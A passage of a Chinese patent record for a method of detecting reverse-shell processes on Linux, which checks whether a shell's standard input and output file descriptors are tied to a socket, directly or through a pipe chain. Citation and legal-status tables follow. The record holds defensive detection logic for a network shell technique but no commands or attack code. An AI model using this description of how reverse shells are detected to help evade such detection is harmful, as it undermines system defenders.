所述获取单元,还用于获取来自操作系统的指示信息,所述指示信息中包括第三文件描述符和与所述第三文件描述符关联的对象类型,所述第三文件描述符用以指示所述n个其他进程中最后一个进程的标准输入文件;
所述处理单元,具体用于在所述第三文件描述符关联的对象类型是socket时,确定所述n个其他进程中最后一个进程的标准输入文件所对应的文件描述符与一个socket关联;在所述第三文件描述符关联的对象类型不是socket时,确定所述n个其他进程中最后一个进程的标准输入文件所对应的文件描述符与一个socket不关联。
11.一种检测设备,其特征在于,包括处理器和存储器,所述存储器中存储有程序代码,
所述处理器,用于运行所述存储器中的程序代码,执行以下操作:
获取第一进程,所述第一进程是shell进程;
检测所述第一进程的至少一个文件描述符与网络套接字socket的关联情况,以及根据所述关联情况确定所述第一进程是反弹shell进程;
其中,
所述检测所述第一进程的至少一个文件描述符与socket的关联情况,包括:
在所述至少一个文件描述符中包括第一文件描述符和第二文件描述符的情况下,获取所述第一文件描述符和第二文件描述符,其中所述第一文件描述符用以指示第一进程的标准输入文件,所述第二文件描述符用以指示第一进程的标准输出文件;如果所述第一文件描述符和第二文件描述符均与socket关联,则判断所述第一文件描述符关联的socket与所述第二文件描述符关联的socket是否相同;
所述根据所述关联情况确定所述第一进程是反弹shell进程,包括:
如果所述第一文件描述符关联的socket和所述第二文件描述符关联的socket相同,则确定所述第一进程是第一反弹shell进程;
或者,
所述检测所述第一进程的至少一个文件描述符与socket的关联情况,包括:
获取所述至少一个文件描述符中的第一文件描述符,所述第一文件描述符用以指示第一进程的标准输入文件;检测所述第一文件描述符是否与第一管道的一端连接,所述第一管道的另一端用于连接n个其他进程,其中n为自然数,且n≥1;如果所述第一文件描述符与所述第一管道的一端连接,则获取所述n个其他进程中最后一个进程的标准输入文件所对应的文件描述符;检测所述n个其他进程中最后一个进程的标准输入文件所对应的文件描述符是否与一个socket关联;
所述根据所述关联情况确定所述第一进程是反弹shell进程,包括:
如果所述n个其他进程中最后一个进程的标准输入文件所对应的文件描述符与一个socket关联,则确定所述第一进程是第二反弹shell进程。
Priority Applications (1)
Application Number | Priority Date | Filing Date | Title |
---|---|---|---|
CN201810224623.5A CN110287696B (zh) | 2018-03-19 | 2018-03-19 | 一种反弹shell进程的检测方法、装置和设备 |
Applications Claiming Priority (1)
Application Number | Priority Date | Filing Date | Title |
---|---|---|---|
CN201810224623.5A CN110287696B (zh) | 2018-03-19 | 2018-03-19 | 一种反弹shell进程的检测方法、装置和设备 |
Publications (2)
Publication Number | Publication Date |
---|---|
CN110287696A CN110287696A (zh) | 2019-09-27 |
CN110287696B true CN110287696B (zh) | 2023-06-20 |
Family
ID=68000897
Family Applications (1)
Application Number | Title | Priority Date | Filing Date |
---|---|---|---|
CN201810224623.5A Active CN110287696B (zh) | 2018-03-19 | 2018-03-19 | 一种反弹shell进程的检测方法、装置和设备 |
Country Status (1)
Country | Link |
---|---|
CN (1) | CN110287696B (zh) |
Families Citing this family (7)
Publication number | Priority date | Publication date | Assignee | Title |
---|---|---|---|---|
CN110909349B (zh) * | 2019-11-14 | 2024-03-22 | 上海携程商务有限公司 | docker容器内反弹shell的检测方法和系统 |
CN113449298B (zh) * | 2020-03-24 | 2023-09-05 | 百度在线网络技术(北京)有限公司 | 一种反弹shell进程的检测方法、装置、设备和介质 |
CN113761527A (zh) * | 2020-07-01 | 2021-12-07 | 北京沃东天骏信息技术有限公司 | 一种反弹shell进程检测方法、装置、设备及存储介质 |
CN111988302A (zh) * | 2020-08-14 | 2020-11-24 | 苏州浪潮智能科技有限公司 | 一种检测反弹程序的方法、系统、终端及存储介质 |
CN112165469B (zh) * | 2020-09-18 | 2023-04-18 | 中国船舶重工集团公司第七一四研究所 | 一种检测变形的shell的方法 |
CN113032784B (zh) * | 2021-03-26 | 2023-07-21 | 安天科技集团股份有限公司 | 一种威胁处置方法、威胁处置工具和计算机可读介质 |
CN114722396B (zh) * | 2022-05-18 | 2022-09-23 | 北京长亭未来科技有限公司 | 一种检测反弹Shell进程的方法、系统及设备 |
Citations (2)
Publication number | Priority date | Publication date | Assignee | Title |
---|---|---|---|---|
CN103593239A (zh) * | 2013-10-28 | 2014-02-19 | 大唐移动通信设备有限公司 | Linux系统中应用进程命令处理的方法及装置 |
CN107423622A (zh) * | 2017-07-04 | 2017-12-01 | 上海高重信息科技有限公司 | 一种检测和防范反弹shell的方法和系统 |
Family Cites Families (1)
Publication number | Priority date | Publication date | Assignee | Title |
---|---|---|---|---|
US8417819B2 (en) * | 2007-11-05 | 2013-04-09 | Red Hat, Inc. | Combining UNIX commands with uniform resource locators |
-
2018
- 2018-03-19 CN CN201810224623.5A patent/CN110287696B/zh active Active
Patent Citations (2)
Publication number | Priority date | Publication date | Assignee | Title |
---|---|---|---|---|
CN103593239A (zh) * | 2013-10-28 | 2014-02-19 | 大唐移动通信设备有限公司 | Linux系统中应用进程命令处理的方法及装置 |
CN107423622A (zh) * | 2017-07-04 | 2017-12-01 | 上海高重信息科技有限公司 | 一种检测和防范反弹shell的方法和系统 |
Also Published As
Publication number | Publication date |
---|---|
CN110287696A (zh) | 2019-09-27 |
Similar Documents
Publication | Publication Date | Title |
---|---|---|
CN110287696B (zh) | 一种反弹shell进程的检测方法、装置和设备 | |
CN107193750B (zh) | 一种脚本录制方法和装置 | |
WO2019227689A1 (zh) | 数据监控方法、装置、计算机设备及存储介质 | |
CN109800258B (zh) | 数据文件部署方法、装置、计算机设备及存储介质 | |
CN106294134A (zh) | 代码的崩溃定位方法及装置 | |
WO2019075994A1 (zh) | 一种iOS端Mock数据的方法、存储介质、设备及系统 | |
CN111475376A (zh) | 处理测试数据的方法、装置、计算机设备和存储介质 | |
CN105022694A (zh) | 用于移动终端测试的测试用例生成方法及系统 | |
CN112737856B (zh) | 链路追踪方法和装置、存储介质及电子装置 | |
CN115080398A (zh) | 一种接口自动化测试系统及方法 | |
CN110781091A (zh) | 应用程序的测试方法、装置、电子设备及存储介质 | |
CN110688305B (zh) | 测试环境同步方法、装置、介质、电子设备 | |
CN108376110A (zh) | 一种自动检测方法、系统及终端设备 | |
CN112860507B (zh) | 分布式链路跟踪系统采样率的控制方法和装置 | |
CN112100048B (zh) | 一种服务器自适应巡检方法及装置 | |
CN113641742A (zh) | 一种数据抽取方法、装置、设备和存储介质 | |
CN110134583B (zh) | 软件测试及数据处理方法及装置 | |
CN110727565B (zh) | 一种网络设备平台信息收集方法及系统 | |
CN110147313A (zh) | 一种日志输出方法及装置 | |
US9626371B2 (en) | Attribute selectable file operation | |
CN111338956A (zh) | 一种自动化的压测方法、装置、设备和存储介质 | |
CN110888643A (zh) | 页面处理方法及装置 | |
CN112181816A (zh) | 一种基于场景的接口测试方法、装置、计算机设备及介质 | |
CN111444392A (zh) | 一种漏洞库的访问方法、装置及设备 | |
CN112558975B (zh) | 组件的代码切换方法、装置、电子设备及可读存储介质 |
Legal Events
Date | Code | Title | Description |
---|---|---|---|
PB01 | Publication | ||
PB01 | Publication | ||
SE01 | Entry into force of request for substantive examination | ||
SE01 | Entry into force of request for substantive examination | ||
GR01 | Patent grant | ||
GR01 | Patent grant |